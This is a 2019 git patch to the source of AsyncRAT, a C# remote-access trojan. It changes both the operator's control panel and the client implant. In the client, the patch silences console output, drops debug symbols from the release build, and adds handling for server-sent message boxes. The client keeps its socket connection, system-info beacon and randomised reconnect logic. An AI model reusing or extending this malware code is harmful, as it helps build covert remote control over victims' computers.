From aced7075c3a503ac6275c81af1a9b11789148ba4 Mon Sep 17 00:00:00 2001 From: NYAN CAT Date: Fri, 25 Jan 2019 10:16:35 -0800 Subject: [PATCH] Update --- AsyncRAT-C#/AsyncRAT-Sharp/Form1.Designer.cs | 3 +- AsyncRAT-C#/AsyncRAT-Sharp/Form1.cs | 31 ++++++++++++++++---- AsyncRAT-C#/Client/Client.csproj | 8 ++--- AsyncRAT-C#/Client/Program.cs | 17 +++++------ 4 files changed, 37 insertions(+), 22 deletions(-) diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Form1.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Form1.Designer.cs index 6a3eb1a..2ad47f1 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Form1.Designer.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Form1.Designer.cs @@ -59,7 +59,8 @@ this.listView1.TabIndex = 0; this.listView1.UseCompatibleStateImageBehavior = false; this.listView1.View = System.Windows.Forms.View.Details; - this.listView1.Resize += new System.EventHandler(this.listView1_Resize); + this.listView1.KeyDown += new System.Windows.Forms.KeyEventHandler(this.listView1_KeyDown); + this.listView1.MouseMove += new System.Windows.Forms.MouseEventHandler(this.listView1_MouseMove); // // lv_ip // diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Form1.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Form1.cs index ffb5697..029a639 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Form1.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Form1.cs @@ -6,6 +6,7 @@ using System.Threading.Tasks; using Microsoft.VisualBasic; using System.Linq; using System.Threading; +using System.Drawing; // │ Author : NYAN CAT // │ Name : AsyncRAT // Simple Socket @@ -23,7 +24,7 @@ namespace AsyncRAT_Sharp InitializeComponent(); } - async private void Form1_Load(object sender, EventArgs e) + async private void Form1_Load(object sender, EventArgs e) { Listener listener = new Listener(); Thread thread = new Thread(new ParameterizedThreadStart(listener.Connect)); @@ -51,17 +52,14 @@ namespace AsyncRAT_Sharp foreach (ListViewItem C in listView1.SelectedItems) { Clients CL = (Clients)C.Tag; + CL.LV.ForeColor = Color.Red; CL.BeginSend(msgpack.Encode2Bytes()); + CL.LV.ForeColor = Color.Empty; } } } } - private void listView1_Resize(object sender, EventArgs e) - { - listView1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize); - } - private void ping_Tick(object sender, EventArgs e) { if (Settings.Online.Count > 0) @@ -81,5 +79,26 @@ namespace AsyncRAT_Sharp Environment.Exit(0); } + + private void listView1_KeyDown(object sender, KeyEventArgs e) + { + if (e.Modifiers == Keys.Control && e.KeyCode == Keys.A) + { + if (listView1.Items.Count > 0) + { + foreach (ListViewItem x in listView1.Items) + x.Selected = true; + } + } + } + + private void listView1_MouseMove(object sender, MouseEventArgs e) + { + ListViewHitTestInfo hitInfo = listView1.HitTest(e.Location); + if (e.Button == MouseButtons.Left && (hitInfo.Item != null || hitInfo.SubItem != null)) + { + listView1.Items[hitInfo.Item.Index].Selected = true; + } + } } } \ No newline at end of file diff --git a/AsyncRAT-C#/Client/Client.csproj b/AsyncRAT-C#/Client/Client.csproj index 0ea699d..7367ea7 100644 --- a/AsyncRAT-C#/Client/Client.csproj +++ b/AsyncRAT-C#/Client/Client.csproj @@ -24,7 +24,7 @@ x86 - pdbonly + none true bin\Release\ TRACE @@ -37,12 +37,8 @@ - - - - - + diff --git a/AsyncRAT-C#/Client/Program.cs b/AsyncRAT-C#/Client/Program.cs index e1e0cf2..5116cdb 100644 --- a/AsyncRAT-C#/Client/Program.cs +++ b/AsyncRAT-C#/Client/Program.cs @@ -2,11 +2,12 @@ using Microsoft.VisualBasic; using Microsoft.VisualBasic.Devices; using System; +using System.Diagnostics; using System.IO; using System.Net.Sockets; using System.Text; using System.Threading; - +using System.Windows.Forms; // │ Author : NYAN CAT // │ Name : AsyncRAT // Simple Socket @@ -24,7 +25,7 @@ namespace Client public static byte[] Buffer { get; set; } public static long Buffersize { get; set; } public static bool BufferRecevied { get; set; } - public static Timer Tick { get; set; } + public static System.Threading.Timer Tick { get; set; } public static MemoryStream MS { get; set; } static void Main(string[] args) @@ -46,19 +47,19 @@ namespace Client client.ReceiveTimeout = -1; client.SendTimeout = -1; client.Connect("127.0.0.1", 8080); - Console.WriteLine("Connected!"); + Debug.WriteLine("Connected!"); Buffer = new byte[1]; Buffersize = 0; BufferRecevied = false; MS = new MemoryStream(); BeginSend(SendInfo()); TimerCallback T = new TimerCallback(Ping); - Tick = new Timer(T, null, new Random().Next(30 * 1000, 60 * 1000), new Random().Next(30 * 1000, 60 * 1000)); + Tick = new System.Threading.Timer(T, null, new Random().Next(30 * 1000, 60 * 1000), new Random().Next(30 * 1000, 60 * 1000)); client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadServertData, null); } catch { - Console.WriteLine("Disconnected!"); + Debug.WriteLine("Disconnected!"); Thread.Sleep(new Random().Next(1 * 1000, 6 * 1000)); Reconnect(); } @@ -160,19 +161,17 @@ namespace Client { MsgPack unpack_msgpack = new MsgPack(); unpack_msgpack.DecodeFromBytes((byte[])Data); - Console.WriteLine("I recevied a packet from server: " + unpack_msgpack.ForcePathObject("Packet").AsString); switch (unpack_msgpack.ForcePathObject("Packet").AsString) { case "MessageBox": { - Console.WriteLine(unpack_msgpack.ForcePathObject("Message").AsString); + MessageBox.Show(unpack_msgpack.ForcePathObject("Message").AsString); } break; case "Ping": { - - Console.WriteLine("Server Pinged me " + unpack_msgpack.ForcePathObject("Message").AsString); + Debug.WriteLine("Server Pinged me " + unpack_msgpack.ForcePathObject("Message").AsString); } break; }